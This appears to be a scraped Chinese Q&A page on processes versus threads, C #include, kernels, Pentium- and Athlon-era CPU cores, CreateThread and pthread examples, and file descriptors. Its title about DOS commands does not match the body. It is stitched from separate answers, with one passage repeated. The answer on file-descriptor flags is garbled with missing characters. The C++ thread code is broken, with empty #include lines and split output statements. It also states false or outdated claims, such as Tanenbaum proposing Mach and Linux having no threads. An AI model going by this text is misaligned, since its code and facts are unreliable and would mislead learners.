c语言进程和线程的区别,最基础,最常用的DOS命令大全(不要长篇大论)
c语言进程和线程的区别,最基础,最常用的DOS命令大全(不要长篇大论)详细介绍
本文目录一览: c语言代码 #include后面什么也没有什么意思?
比如#include
"stdio.h"
表示包含文件stdio.h
这个stdio.h是一头文件,c的标准输入输出的头文件,这个文件的名称就是stdio后缀是.h
表示将这个头文件中的所有内容,copy到
#include
"stdio.h"的位置
再进行编译。
什么也没有是什么意思?#include是用来链接标准库的。你写的程序实际上就是一堆字符。这堆字符首先要经过预编译,把你的宏定义、标准库添加到程序中,然后编译成汇编语言,再进行连接,这个连接可以理解为修正偏移量,然后变成机器语言。具体过程会比我说的复杂,总之经过一系列的处理,你的程序就从.c变成.exe了。双击.exe,操作系统为程序分配一个进程控制块,产生一个进程,进程是一个动态概念,程序是一个静态概念。进程可以理解为程序的执行。还有一个概念是线程,这是因为科学家们发现进程有时候不够经济(进程切换开销比较大),所以创造了线程这个概念。进程是一个执行流的一次执行。可能比较难理解,没关系。你没有相关的背景,肯定觉得莫名其妙。
最常用的库是stdio.h就是标准输入输出,你的scanf、printf就是这个库里的。基本你写个程序移动要用到这个库,因为你的输入输出工具在这个库里,一个有用的程序都会有输出吧。
还有很多比较好用的库,比如初学者可能会比较常用到string.h、stdlib.h等,这些库使我们编程变得简单。
还要一点就是:
#include
和#include "stdio.h"的区别。<>会先搜索标准库路径,""会先搜索当前路径。如果两个路径下有重名的库就体现出区别了。
在windows中的进程、线程和在linux中的进程、线程有什么区别?
1、windows里的进程/线程是继承自OS/2的。在windows里,"进程"是指一个程序,而"线程"是一个"进程"里的一个执行"线索"。从核心上讲,windows的多进程与Linux并无多大的区别,在windows里的线程才相当于Linux的进程,是一个实际正在执行的代码。但是,windows里同一个进程里各个线程之间是共享数据段的。这才是与Linux的进程最大的不同。
2、在windows下,使用CreateThread函数创建线程,与Linux下创建进程同,windows线程不是从创建处开始运行的,而是由CreateThread指定一个函数,线程就从那个函数处开始运行。此程序同前面的UNIX程序一样,由两个线程各打印1000条信息。threadID是子线程的线程号,另外,全局变量g是子线程与父线程共享的,这就是与Linux最大的不同之处。大家可以看出,windows的进程/线程要比Linux复杂,在Linux要实现类似
windows的线程并不难,只要fork以后,让子进程调用ThreadProc函数,并且为全局变量开设共享数据区就行了,但在windows下就无法实现类似fork的功能了。所以现在windows下的C语言编译器所提供的库函数虽然已经能兼容大多数Linux/UNIX的库函数,但却仍无法实现fork。
3、对于多任务系统,共享数据区是必要的,但也是一个容易引起混乱的问题,windows下,一个程序员很容易忘记线程之间的数据是共享的这一情况,一个线程修改过一个变量后,另一个线程却又修改了它,结果引起程序出问题。但在Linux下,由于变量本来并不共享,而由程序员来显式地指定要共享的数据,使程序变得更清晰与安全。
liunx 中只有进程没有线程。
对于windows来说,进程和线程的概念都是有着明确定义的,进程的概念对应于一个程序的运行实例(instance),而线程则是程序代码执行的最小单元。CreateThread()用于建立一个新的线程,传递线程函数的入口地址和调用参数给新建的线程,然后新线程就开始执行了。
windows下,一个典型的线程拥有自己的堆栈、寄存器(包括程序计数器PC,用于指向下一条应该执行的指令在内存中的位置),而代码段、数据段、打开文件这些进程级资源是同一进程内多个线程所共享的。因此同一进程的不同线程可以很方便的通过全局变量(数据段)进行通信,大家都可以对数据段进行读写,这很方便,也被在安全性方面诟病,因为它要求程序员时刻意识到这些数据不是线程独立的。
对于linux来说,则没有很明确的进程、线程概念。首先linux只有进程而没有线程,然而它的进程又可以表现得像windows下的线程。linux利用fork()和exec函数族来操作多进程。fork()函数可以在进程执行的任何阶段被调用,一旦调用,当前进程就被分叉成两个进程——父进程和子进程,两者拥有相同的代码段和暂时相同的数据段(虽然暂时相同,但从分叉开的时刻就是逻辑上的两个数据段了,之所以说是逻辑上的,是因为这里是“写时复制”机制,也就是,除非万不得已有一个进程对数据段进行了写操作,否则系统不去复制数据段,这样达到了负担最小),两者的区别在于fork()函数返回值,对于子进程来说返回为0,对于父进程来说返回的是子进程id,因此可以通过if(fork()==0)…else…来让父子进程执行不同的代码段,从而实现“分叉”。
而linux下的进程不能像windows下线程那样方便地通信,因为他们没有共享数据段、地址空间等。它们之间的通信是通过所谓IPC(InterProcess Communication)来进行的。具体有管道(无名管道用于父子进程间通信,命名管道可以用于任意两个进程间的通信)、共享内存(一个进程向系统申请一块可以被共享的内存,其它进程通过标识符取得这块内存,并将其连接到自己的地址空间中,效果上类似于windows下的多线程间的共享数据段),信号量,套接字。
linux进程与线程的区别
很多朋友都想知道linux进程与线程的区别?下面就一起来了解一下吧!
linux进程与线程的区别
进程是在某个数据集合上具有独立功能的一次运行活动,也是系统进行资源分配和调度的一个独立单位。线程在进程方面属于进程的实体,是CPU调度和分配的基本单位,基本上线程自己没有拥有任何的系统资源,只拥有一点在运行中必备的资源(如程序计数器、一组寄存器和栈),但是它可以与同属一个进程的线程共享资源。
Linux的用处
linux是一套免费开放源代码的操作系统,用户可以按照自己的想法来修改源代码,它的每一个操作,你都能够充分了解,这对计算机方面的爱好者是有很大帮助的,它可以让用户知道系统是怎样工作的。
Linux的语言
linux开发用的是C语言和汇编语言。C语言是Linux的“母语”,这也是linux这个开源环境和本身机制所导致的。Linux的内核部分基本都是用C语言来编写的,还有部分是用汇编语言写的。
本文章基于ThinkpadE15品牌、centos7系统撰写的。
主要差别在于它们是不同的操作系统资源管理方式。进程有独立的地址空间,一个进程崩溃后,在保护模式下不会对其它进程产生影响,而线程只是一个进程中的不同执行路径。
线程有自己的堆栈和局部变量,但线程之间没有单独的地址空间,一个线程死掉就等于整个进程死掉,所以多进程的程序要比多线程的程序健壮,但在进程切换时,耗费资源较大,效率要差一些。但对于一些要求同时进行并且又要共享某些变量的并发操作,只能用线程,不能用进程。
简而言之,一个程序至少有一个进程,一个进程至少有一个线程。
线程的划分尺度小于进程,使得多线程程序的并发性高。
另外,进程在执行过程中拥有独立的内存单元,而多个线程共享内存,从而极大地提高了程序的运行效率。
线程在执行过程中与进程还是有区别的。每个独立的线程有一个程序运行的入口、顺序执行序列和程序的出口。但是线程不能够独立执行,必须依存在应用程序中,由应用程序提供多个线程执行控制。
从逻辑角度来看,多线程的意义在于一个应用程序中,有多个执行部分可以同时执行。但操作系统并没有将多个线程看做多个独立的应用,来实现进程的调度和管理以及资源分配。这就是进程和线程的重要区别。
有一问题想请教一下大家,内核是什么东西啊?
核心(Die)又称为内核,是CPU最重要的组成部分。CPU中心那块隆起的芯片就是核心,是由单晶硅以一定的生产工艺制造出来的,CPU所有的计算、接受/存储命令、处理数据都由核心执行。各种CPU核心都具有固定的逻辑结构,一级缓存、二级缓存、执行单元、指令级单元和总线接口等逻辑单元都会有科学的布局。
为了便于CPU设计、生产、销售的管理,CPU制造商会对各种CPU核心给出相应的代号,这也就是所谓的CPU核心类型。
不同的CPU(不同系列或同一系列)都会有不同的核心类型(例如Pentium 4的Northwood,Willamette以及K6-2的CXT和K6-2+的ST-50等等),甚至同一种核心都会有不同版本的类型(例如Northwood核心就分为B0和C1等版本),核心版本的变更是为了修正上一版存在的一些错误,并提升一定的性能,而这些变化普通消费者是很少去注意的。每一种核心类型都有其相应的制造工艺(例如0.25um、0.18um、0.13um以及0.09um等)、核心面积(这是决定CPU成本的关键因素,成本与核心面积基本上成正比)、核心电压、电流大小、晶体管数量、各级缓存的大小、主频范围、流水线架构和支持的指令集(这两点是决定CPU实际性能和工作效率的关键因素)、功耗和发热量的大小、封装方式(例如S.E.P、PGA、FC-PGA、FC-PGA2等等)、接口类型(例如Socket 370,Socket A,Socket 478,Socket T,Slot 1、Socket 940等等)、前端总线频率(FSB)等等。因此,核心类型在某种程度上决定了CPU的工作性能。
一般说来,新的核心类型往往比老的核心类型具有更好的性能(例如同频的Northwood核心Pentium 4 1.8A GHz就要比Willamette核心的Pentium 4 1.8GHz性能要高),但这也不是绝对的,这种情况一般发生在新核心类型刚推出时,由于技术不完善或新的架构和制造工艺不成熟等原因,可能会导致新的核心类型的性能反而还不如老的核心类型的性能。例如,早期Willamette核心Socket 423接口的Pentium 4的实际性能不如Socket 370接口的Tualatin核心的Pentium III和赛扬,现在的低频Prescott核心Pentium 4的实际性能不如同频的Northwood核心Pentium 4等等,但随着技术的进步以及CPU制造商对新核心的不断改进和完善,新核心的中后期产品的性能必然会超越老核心产品。
CPU核心的发展方向是更低的电压、更低的功耗、更先进的制造工艺、集成更多的晶体管、更小的核心面积(这会降低CPU的生产成本从而最终会降低CPU的销售价格)、更先进的流水线架构和更多的指令集、更高的前端总线频率、集成更多的功能(例如集成内存控制器等等)以及双核心和多核心(也就是1个CPU内部有2个或更多个核心)等。CPU核心的进步对普通消费者而言,最有意义的就是能以更低的价格买到性能更强的CPU。
在CPU漫长的历史中伴随着纷繁复杂的CPU核心类型,以下分别就Intel CPU和AMD CPU的主流核心类型作一个简介。主流核心类型介绍(仅限于台式机CPU,不包括笔记本CPU和服务器/工作站CPU,而且不包括比较老的核心类型)。
内核有两种概念,不知道你说的是那种?
1种是编译内核,属于软件部分.
内核是操作系统的内部核心程序,它向外部提供了对计算机设备的核心管理调用。我们将操作系统的代码分成2部分。内核所在的地址空间称作内核空间。而在内核以外的统称为外部管理程序,它们大部分是对外围设备的管理和界面操作。外部管理程序与用户进程所占据的地址空间称为外部空间。通常,一个程序会跨越两个空间。当执行到内河空间的一段代码时,我们称程序处于内核态,而当程序执行到外部空间代码时,我们称程序处于用户态。
从UNIX起,人们开始用高级语言(UNIX上最具有代表性的就是UNIX的系统级语言C语言)编写内核代码,使得内核具有良好的扩展性。单一内核(monolithic kernel)是当时操作系统的主流,操作系统中所有的系统相关功能都被封装在内核中,它们与外部程序处于不同的内存地址空间中,并通过各种方式(在Intel IA-32体系中采用386保护模式)防止 外部程序直接访问内核结构。程序只有通过一套称作系统调用(system call)的界面访问内核结构。近些年来,微内核(micro kernel)结构逐渐流行起来,成为操作系统的主要潮流。1986年,Tanenbaum提出Mach kernel,而后,他的minix和GNU的Hurd操作系统更是微内核系统的典范。
在微内核结构中,操作系统的内核只需要提供最基本、最核心的一部分操作(比如创建和删除任务、内存管理、中断管理等)即可,而其他的管理程序(如文件系统、网络协议栈等)则尽可能的放在内核之外。这些外部程序可以独立运行,并对外部用户程序提供操作系统服务,服务之间使用进程间通信机制(IPC)进行交互,只在需要内核的协助时,才通过一套接口对内核发出调用请求。
微内核系统的优点时操作系统具有良好的灵活性。它使得操作系统内部结构简单清晰。程序代码的维护非常之方便。但是也有不足之处。微内核系统由于核心态只实现了最基本的系统操作,这样内核以外的外部程序之间由于独立运行使得系统难以进行良好的整体优化。另外,进程间互相通信的开销也较单一内核系统要大许多。从整体上看,在当前的硬件条件下,微内核在效率上的损失小于其在结构上获得的收益,故而选取微内核成为操作系统的一大潮流。
然而,Linux系统却恰恰使用了单一内核结构。这是由于Linux是一个实用主义的操作系统。Linux Tovarlds以代码执行效率为自己操作系统的第一要务,并没有进行过一个系统的设计工作,而是任由Linux在使用中不断发展。在这样的发展过程中,参与Linux开发的程序员大多为世界各地的黑客们。比起结构的清晰,他们更加注重功能的强大和高效的代码。于是,他们将大量的精力放在优化代码上,而这样的全局性优化必然以丧失结构精简为代价,导致Linux中的每个部件都不能轻易被拆除。否则必然破坏整体效率。
虽然Linux是单一内核体系,但是它与传统的单一内核UNIX操作系统不同。在普通的单一内核系统中,所有的内核代码都是被静态编译联入的,而在Linux中,可以动态装入和卸载内河中的部分代码。Linux将这些代码段称为模块。(module),并对模块给予了强有力的支持。在Linux中,可以在需要时自动装入和卸载模块。
Linux不支持用户态线程。在用户态中,Linux认为线程就是共享上下文(Context)的进程。Linux通过LWP(light weight thread)的机制来实现用户态线程的概念。通过系统调用clone()创建新的线程。
Linux的内核为非抢占式的。即,Linux不能通过改变优先权来影响内核当前的执行流程。因此,Linux在实现实时操作时就有问题。Linux并不是一个“硬”实时操作系统。
在Linux内核中,包括了进程管理(process management)、定时器(timer)、中断管理(interrupt management)、内存管理(memory management)、模块管理(module management)、虚拟文件系统接口(VFS layer)、文件系统(file system)、设备驱动程序(device driver)、进程间通信(inter-process communication)、网络管理(network management)、系统启动(system init)等操作系统功能的实现。
2、另一种便是硬件内核了,很多硬件都是有内核的.不过大体还是和软内核相联系,我这里简单的说一种内核吧.
核心(Die)又称为内核,是CPU最重要的组成部分。CPU中心那块隆起的芯片就是核心,是由单晶硅以一定的生产工艺制造出来的,CPU所有的计算、接受/存储命令、处理数据都由核心执行。各种CPU核心都具有固定的逻辑结构,一级缓存、二级缓存、执行单元、指令级单元和总线接口等逻辑单元都会有科学的布局。
为了便于CPU设计、生产、销售的管理,CPU制造商会对各种CPU核心给出相应的代号,这也就是所谓的CPU核心类型。
不同的CPU(不同系列或同一系列)都会有不同的核心类型(例如Pentium 4的Northwood,Willamette以及K6-2的CXT和K6-2+的ST-50等等),甚至同一种核心都会有不同版本的类型(例如Northwood核心就分为B0和C1 等版本),核心版本的变更是为了修正上一版存在的一些错误,并提升一定的性能,而这些变化普通消费者是很少去注意的。每一种核心 类型都有其相应的制造工艺(例如0.25um、0.18um、0.13um以及0.09um等)、核心面积(这是决定CPU 成本的关键因素,成本与核心面积基本上成正比)、核心电压、电流大小、晶体管数量、各级缓存的大小、主频范围、流水线架构和支持 的指令集(这两点是决定CPU实际性能和工作效率的关键因素)、功耗和发热量的大小、封装方式(例如S.E.P、PGA、FC-PGA、FC-PGA2等等)、接口类型(例如Socket 370,Socket A,Socket 478,Socket T,Slot 1、Socket 940等等)、前端总线频率(FSB)等等。因此,核心类型在某种程度上决定了CPU的工作性能。
一般说来,新的核心类型往往比老的核心类型具有更好的性能(例如同频的Northwood核心Pentium 4 1.8A GHz就要比Willamette核心的Pentium 4 1.8GHz 性能要高),但这也不是绝对的,这种情况一般发生在新核心类型刚推出时,由于技术不完善或新的架构和制造工艺不成熟等原因,可能 会导致新的核心类型的性能反而还不如老的核心类型的性能。例如,早期 Willamette核心Socket 423接口的Pentium 4的实际性能不如Socket 370接口的Tualatin核心的Pentium III和赛扬,现在的低频Prescott核心Pentium 4的实际性能不如同频的Northwood核心Pentium 4等等,但随着技术的进步以及CPU制造商对新核心的不断改进和完善,新核心的中后期产品的性能必然会超越老核心产品。
CPU核心的发展方向是更低的电压、更低的功耗、更先进的制造工艺、集成更多的晶体管、更小的核心面积(这会降低CPU的生产成本从而最终会降低CPU 的销售价格)、更先进的流水线架构和更多的指令集、更高的前端总线频率、集成更多的功能(例如集成内存控制器等等)以及双核心和 多核心(也就是1个CPU内部有2个或更多个核心)等。CPU核心的进步对普通消费者而言,最有意义的就是能以更低的价格买到性能更强的CPU。
在CPU漫长的历史中伴随着纷繁复杂的CPU核心类型,以下分别就Intel CPU和AMD CPU的主流核心类型作一个简介。主流核心类型介绍(仅限于台式机CPU,不包括笔记本CPU和服务器/工作站CPU,而且不包括比较老的核心类型)。
Intel CPU的核心类型 :
Tualatin
这也就是大名鼎鼎的“图拉丁”核心,是Intel在Socket 370架构上的最后一种CPU核心,采用0.13um制造工艺,封装方式采用FC-PGA2和PPGA,核心电压也降低到了1.5V左右,主频范围从1GHz到1.4GHz,外频分别为100MHz(赛扬)和133MHz(Pentium III),二级缓存分别为512KB(Pentium III-S)和256KB(Pentium III和赛扬),这是最强的Socket 370核心,其性能甚至超过了早期低频的Pentium 4系列CPU。
Willamette
这是早期的Pentium 4和P4赛扬采用的核心,最初采用Socket 423接口,后来改用Socket 478接口(赛扬只有1.7GHz和1.8GHz两种,都是Socket 478接口),采用0.18um制造工艺,前端总线频率为400MHz, 主频范围从1.3GHz到2.0GHz(Socket 423)和1.6GHz到2.0GHz(Socket 478),二级缓存分别为256KB(Pentium 4)和128KB(赛扬),注意,另外还有些型号的Socket 423接口的Pentium 4居然没有二级缓存!核心电压1.75V左右,封装方式采用Socket 423的PPGA INT2,PPGA INT3,OOI 423-pin,PPGA FC-PGA2和Socket 478的PPGA FC-PGA2以及赛扬采用的PPGA等等。Willamette核心制造工艺落后,发热量大,性能低下,已经被淘汰掉,而被Northwood核心所取代。
Northwood
这是目前主流的Pentium 4和赛扬所采用的核心,其与Willamette核心最大的改进是采用了0.13um制造工艺,并都采用Socket 478接口,核心电压1.5V左右,二级缓存分别为128KB(赛扬)和512KB(Pentium 4),前端总线频率分别为400/533/800MHz(赛扬都只有400MHz),主频范围分别为2.0GHz到2.8GHz(赛扬),1.6GHz到2.6GHz(400MHz FSB Pentium 4),2.26GHz到3.06GHz(533MHz FSB Pentium 4)和2.4GHz到3.4GHz(800MHz FSB Pentium 4),并且3.06GHz Pentium 4和所有的800MHz Pentium 4都支持超线程技术(Hyper-Threading Technology),封装方式采用PPGA FC-PGA2和PPGA。按照Intel的规划,Northwood核心会很快被Prescott核心所取代。
Prescott
这是Intel最新的CPU核心,目前还只有Pentium 4而没有低端的赛扬采用,其与Northwood最大的区别是采用了0.09um制造工艺和更多的流水线结构,初期采用Socket 478接口,以后会全部转到LGA 775接口,核心电压1.25-1.525V,前端总线频率为533MHz(不支持超线程技术)和800MHz(支持超线程技术),主频分别为533MHz FSB的2.4GHz和2.8GHz以及800MHz FSB的2.8GHz、3.0GHz、3.2GHz和3.4GHz,其与Northwood相比,其L1 数据缓存从8KB增加到16KB,而L2缓存则从512KB增加到1MB,封装方式采用PPGA。按照Intel的规划,Prescott核心会很快取代Northwood核心并且很快就会推出Prescott核心533MHz FSB的赛扬。
AMD CPU的核心类型:
Athlon XP的核心类型
Athlon XP有4种不同的核心类型,但都有共同之处:都采用Socket A接口而且都采用PR标称值标注。
Palomino
这是最早的Athlon XP的核心,采用0.18um制造工艺,核心电压为1.75V左右,二级缓存为256KB,封装方式采用OPGA,前端总线频率为266MHz。
Thoroughbred
这是第一种采用0.13um制造工艺的Athlon XP核心,又分为Thoroughbred-A和Thoroughbred-B两种版本,核心电压1.65V-1.75V左右,二级缓存为256KB,封装方式采用OPGA,前端总线频率为266MHz和333MHz。
Thorton
采用0.13um制造工艺,核心电压1.65V左右,二级缓存为256KB,封装方式采用OPGA,前端总线频率为333MHz。可以看作是屏蔽了一半二级缓存的Barton。
Barton
采用0.13um制造工艺,核心电压1.65V左右,二级缓存为512KB,封装方式采用OPGA,前端总线频率为333MHz和400MHz。
新Duron的核心类型
AppleBred
采用0.13um制造工艺,核心电压1.5V左右,二级缓存为64KB,封装方式采用OPGA,前端总线频率为266MHz。没有采用PR标称值标注而以实际频率标注,有1.4GHz、1.6GHz和1.8GHz三种。
Athlon 64系列CPU的核心类型
Clawhammer
采用0.13um制造工艺,核心电压1.5V左右,二级缓存为1MB,封装方式采用mPGA,采用Hyper Transport总线,内置1个128bit的内存控制器。采用Socket 754、Socket 940和Socket 939接口。
Newcastle
其与Clawhammer的最主要区别就是二级缓存降为512KB(这也是AMD为了市场需要和加快推广64位CPU而采取的相对低价政策的结果),其它性能基本相同。
至于CPU最强的内核,在笔记本方面, Dothan 是当前最强的内核,而台式电脑方面,Intel Prescott是很强的内核,AMD Athlon 64系列CPU的核心类型Clawhammer、Newcastle也很强。
上面都是网上找的,你有空也可多看看别人的资料.
祝福大家新年快乐!!!!
C语言中 怎么实现双线程 或者 父子线程啊
运行一个程序,这个运行实体就是一个“进程”。
例如,用鼠标双击IE浏览器的图标,你运行了一个IE“进程”。第一个窗未关,你又用鼠标双击IE浏览器的图标,又出来一个浏览器的窗。这时,你运行了同一个程序的两个进程。
对于自己写的程序也如此。运行它,这个运行实体就是一个“进程”。同时运行两个,就是两个进程。计算机分别对两个进程分配资源,直到进程结束,收回资源。
线程是进程里真真跑的线路,真真执行的运算,每个进程有一个主线程。进程里可以开第二第三条新的执行线路,gcc 用 pthread_create(),VC++ 用 CreateThread(), 这就叫双线程和多线程。进程是线程的容器,同一进程的线程共享它们进程的资源。线程里建的线程就是父子线程。
两个或多个进程协同工作时,需要互相交换信息,有些情况下进程间交换的少量信息,有些情况下进程间交换大批信息。这就要通讯。通讯方式不止一种。管道就是一种。VC++ 用 CreatePipe() 函数建立。
管道的实质是一个共享文件,可借助于文件系统的机制实现,创建、打开、关闭和读写.
一个进程正在使用某个管道写入或读出数据时,另一个进程就必须等待. 发送者和接收者双方必须知道对方是否存在,如果对方已经不存在,就没有必要再发送信息.,发送信息和接收信息之间要协调,当写进程把一定数量的数据写入管道,就去睡眠等待,直到读进程取走数据后,把它唤醒。
VC++ 线程例子:
#include
#include
DWORD WINAPI fun1(LPVOID lp);
DWORD WINAPI fun2(LPVOID lp);
int piao=500;
int main()
{
HANDLE pthread1,pthread2;
pthread1=CreateThread(0,0,fun1,0,0,0);
pthread2=CreateThread(0,0,fun2,0,0,0);
CloseHandle(pthread1);
CloseHandle(pthread2);
Sleep(3000);
return 0;
}
DWORD WINAPI fun1(LPVOID lp)
{
while(1)
{
if(piao>0)
cout<< "thread-1-"<< piao--<
<endl;
else
break;
}
return 0;
}
DWORD WINAPI fun2(LPVOID lp)
{
while(1)
{
if(piao>0)
cout<<"thread-2-"<
<piao--<<endl;
else
break;
}
return 0;
}
===================================
建管道函数原形:
BOOL CreatePipe(
PHANDLE hReadPipe, // read handle
PHANDLE hWritePipe, // write handle
LPSECURITY_ATTRIBUTES lpPipeAttributes, // security attributes
DWORD nSize // pipe size
);
我们进行多线程编程,可以有多种选择,可以使用WindowsAPI,如果你在使用GTK,也可以使用GTK实现了的线程库,如果你想让你的程序有更多的移植性你最好是选择POSIX中的Pthread函数库,我的程序是在Linux下写的,所以我使用了Pthread库(是不是很伤心,我知道有不少人期待的是WindowsAPI的,好吧,有机会以后再讲那个,现在先把这一系列专题写完 ^_^)
如果你用的是LINUX/UNIX/MacOSX,那么我们已经可以开始了,如果你用的是WINDOWS,那么你需要从网站上下载PTHREAD的WINDOWS开发包,所幸他非常的小。网站地址是http://sourceware.org/pthreads-win32/
先来看一个基本的例子:
复制内容到剪贴板
代码:
#include
#include
using namespace std;
void* tprocess1(void* args){
while(1){
cout << "tprocess1" << endl;
}
return NULL;
}
void* tprocess2(void* args){
while(1){
cout << "tprocess2" << endl;
}
return NULL;
}
int main(){
pthread_t t1;
pthread_t t2;
pthread_create(&t1,NULL,tprocess1,NULL);
pthread_create(&t2,NULL,tprocess2,NULL);
pthread_join(t1,NULL);
return 0;
}在上面的例子中,我们首先加入了pthread.h文件包含,这是所以pthread多线程程序所必须的,接着是iostream我们进行输入输出时要用到,接着就是两个函数的定义,这和普通的函数没有什么区别,之所以写成的 复制内容到剪贴板
代码:
void* tprocess1(void* args)这样的形式,完全是为了迎合pthread_create函数的参数类型,你也可以不这样定义,只要在调用pthread_create创建线程的时候强制转换一下指针类型就可以了。
这两个函数将被用做线程的执行体,也就是说在两个线程里同时运行这两个函数。
现在我们来看main函数,和pthread有关的调用都在这里了。
pthread_t是线程结构,用来保存线程相关数据,你也可以理解为是线程类型,声明一个线程对象(变量)。 复制内容到剪贴板
代码:
pthread_t t1;
pthread_t t2;这里我们声明了两个线程变量t1,t2 复制内容到剪贴板
代码:
pthread_create(&t1,NULL,tprocess1,NULL);
pthread_create(&t2,NULL,tprocess2,NULL);这两句非常重要,pthread_create用来创建线程并启动,他的原型是 复制内容到剪贴板
代码:
int pthread_create(pthread_t * thread, pthread_attr_t * attr, void * (*start_routine)(void *), void * arg); 我们可以知道第一个参数是线程指针,第二参数是线程属性指针,线程属性pthread_attr_t用来指定线程优先级等属性,一般的情况下,我们没有必要修改,使用默认属性来构造线程,所以这里一般取NULL,我们也是这样做的,第三个参数是一个函数指针(函数指针?什么东西,没听说过啊?……巨晕,好嘛,你复习一下C或是C++指针那部分吧)就是线程要执行的代码,这里我们分别要执行tprocess1 tprocess2就写成了上面的样子,这里这个函数指针的类型定义是返回一个空类型指针,接收一个空类型指针参数的函数指针,如果你的函数不是这个定义,那就可以直接转化一下就可以了。
写完这两行代码,两个线程就已经执行起来了,但是如果你省略了 复制内容到剪贴板
代码:
pthread_join(t1,NULL);
然后尝试编译运行程序的时候你会发现程序似乎什么也没干就退出了,是的,那是因为程序的主线程退出的时候操作系统会关闭应用程序使用的所有资源,包括线程……所以在main函数结束前我们得想办法让程序停下来,pthread_join方法的功能就是等待线程结束,要等的线程就是第一个参数,程序会在这个地方停下来,直到线程结束,第二个参数用来接受线程函数的返回值,是void**类型的指针,如果没有返回值,就直接设为NULL吧。
程序写好了,我们怎么编译运行它呢?
如果你使用的是Linux:
在终端里输入
g++ thread.cpp -othread -lpthread
./thread
就可以完成程序的编译及运行
如果你用的是VC:
在工程属性里加入开发包里的几个库文件
把那几个DLL文件放到你的工程路径里,也就是程序运行时候的工作路径,这个在VC6和2005里似乎不太一样,如果你不确定,那就直接放到SYSTEM32里吧。。。
下面的工作就非常简单了
点运行,提示编译,就确定,好了,结果出来了。。。
是不是感觉多线程如此的简单,短短几行代码就搞定了,我想你已经可以写出一个简单的多线程程序了吧,呵呵,其实问题没有这么简单,多线程我们还要面对线程同步的问题,我会在下一个专题里给大家讲到。
通常使用CreateThread函数来创建新的线程.(Unix下使用pthread_create函数)
首先指出,线程与线程之间,是并列关系,不会存在"父子线程"的概念.
在Windows平台下,CreateThread函数包含在 Windows.h 文件内,包含此文件即可正常使用.
以下为CreateThread函数的声明:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//指向安全性属性描述结构体的
//指针,通常可以忽略的.
SIZE_T dwStackSize,//指定新线程初始的栈大小,若不关心,可以用0填充,来要求使用
//默认值
LPTHREAD_START_ROUTINE lpStartAddress,//用来充当线程的函数的指针.
LPVOID lpParameter,//要传递给函数的参数,这个值本身就是那个参数,而不是参数的地址
DWORD dwCreationFlags,//创建的方式,0表示正常,创建后立即开始运行
LPDWORD lpThreadId//用来接受函数反馈的线程ID的指针.
);
用来充当新的线程的函数格式:
DWORD WINAPI ThreadProc(LPVOID);
CreateThread函数若成功了,返回新线程的句柄,若失败了,则返回NULL.
若用CREATE_SUSPENDED填充dwCreation Flags则创建的线程先挂起来,并不直接开始运行,要用ResumeThread函数恢复线程,才能继续运行.
</piao--<
文件描述符是什么
问题一:文件描述符和文件指针的区别 文件描述符:在linux系统中打开文件就会获得文件描述符,它是个很小的正整数。每个进程在PCB(Process Control Block)中保存着一份文件描述符表,文件描述符就是这个表的索引,每个表项都有一个指向已打开文件的指针。
文件指针:C语言中使用文件指针做为I/O的句柄。文件指针指向进程用户区中的一个被称为FILE结构的数据结构。FILE结构包括一个缓冲区和一个文件描述符。而文件描述符是文件描述符表的一个索引,因此从某种意义上说文件指针就是句柄的句柄(在Windows系统上,文件描述符被称作文件句柄)。
问题二:谁能解释一下文件描述符标志? 文件描述符非负整数打现存文件或新建文件内核返文件描述符读写文件需要使用文件描述符指定待读写文件 习惯标准输入(standard input)文件描述符 0标准输(standard output) 1标准错误(standard error) 2尽管种习惯并非 Unix 内核特性些 shell 应用程序都使用种习惯内核遵循种习惯应用程序能使用 POSIX 定义 STDIN_FILENO、STDOUT_FILENO STDERR_FILENO 代替 0、1、2三符号量定义位于文件 unistd.h 文件描述符效范围 0 OPEN_MAX般说每进程打 64 文件(0 ― 63)于 FreeBSD 5.2.1、Mac OS X 10.3 Solaris 9 说每进程打文件少取决于系统内存int 及系统管理员设定限制
问题三:文件描述符的定义数量 如何在不同平台上定义文件描述符的数量文件描述符极限以及可分配给进程的最大大小由资源限制来定义。这些值应当按照在WebLogicServer文档中建议的、特定于操作系统的文件描述符值来设置:对于WLS8.1:调整硬件、操作系统和网络性能对于WLS7.0:调整硬件、操作系统和网络性能对于WLS6.1:调整硬件、操作系统和网络性能Unix和Linux都有文件描述符。不过,二者的主要区别在于如何设置文件描述符的硬极限值、缺省值和配置过程。Solaris/usr/bin/ulimit实用程序定义允许单个进程使用的文件描述符的数量。它的最大值在rlim_fd_max中定义,在缺省情况下,它设置为65,536。只有root用户才能修改这些内核值。Linux管理用户可以在etc/security/limits.conf配置文件中设置他们的文件描述符极限,如下例所示。softnofile1024hardnofile4096系统级文件描述符极限还可以通过将以下三行添加到/etc/rc.d/rc.local启动脚本中来设置:#Increasesystem-widefiledescriptorlimit.echo4096>/proc/sys/fs/file-maxecho16384>/proc/sys/fs/inode-maxWindows在Windows操作系统上,文件描述符被称作文件句柄。在Windows2000服务器上,打开文件的句柄极限设置为16,384。此数量可以在任务管理器的性能摘要中监视。HP-UXnfile定义打开文件的最大数量。此值通常由以下公式来确定:((NPROC*2)+1000),其中NPROC通常为:((MAXUSERS*5)+64)。如果MAXUSERS等于400,则经过计算得到此值为5128。通常可以将此值设高一些。maxfiles是每个进程的软文件极限,maxfiles_lim是每个进程的硬文件极限。AIX文件描述符极限在/etc/security/limits文件中设置,它的缺省值是2000。此极限可以通过ulimit命令或setrlimit子例程来更改。最大大小由OPEN_MAX常数来定义。
问题四:文件描述符可以是0吗 文件描述符是一个简单的整数,用以标明每一个被进程所打开的文件和socket。
第一个打开的文件是0,第二个是1,依此类推。Unix 操作系统通常给每个进程能打开的文件数量强加一个限制。更甚的是,unix 通常有一个系统级的限制。 os.chinauni
问题五:如何判断文件描述符在fd open 一个文件将返回一个文件描述符。 0 - 返回的文件描述符 就是已经打开的。 /proc/pid/fd 下面为该进程打开的文件描述符 如果我的回答没能帮助您,请继续追问。
问题六:Linux查看进程打开多少文件描述符命令 linux系统下查看进程打开文件在/proc下,对应每个进程有一个以进程号命名的目录,该目录下有一个fd目录,该目录下面的每个文件是一个符号连接,其文件名对应该进程占用的一个文件描述符,而连接指向的内容表示文件描述符对应的实际文件,有多少个文件描述符表示该进程打开了多少文件。
另外Linux
默认的进程打开文件上限是1024个,可以通过ulimit
-n查看。很多系统上限可以通过修改/etc/security/limits.conf文件改变,这个文件有详细的注释,对如何修改做了说明。如果希望
把所有用户的进程打开文件上限改为65536,可以加入下面两行
* soft nofile 65535
* hard nofile 65535
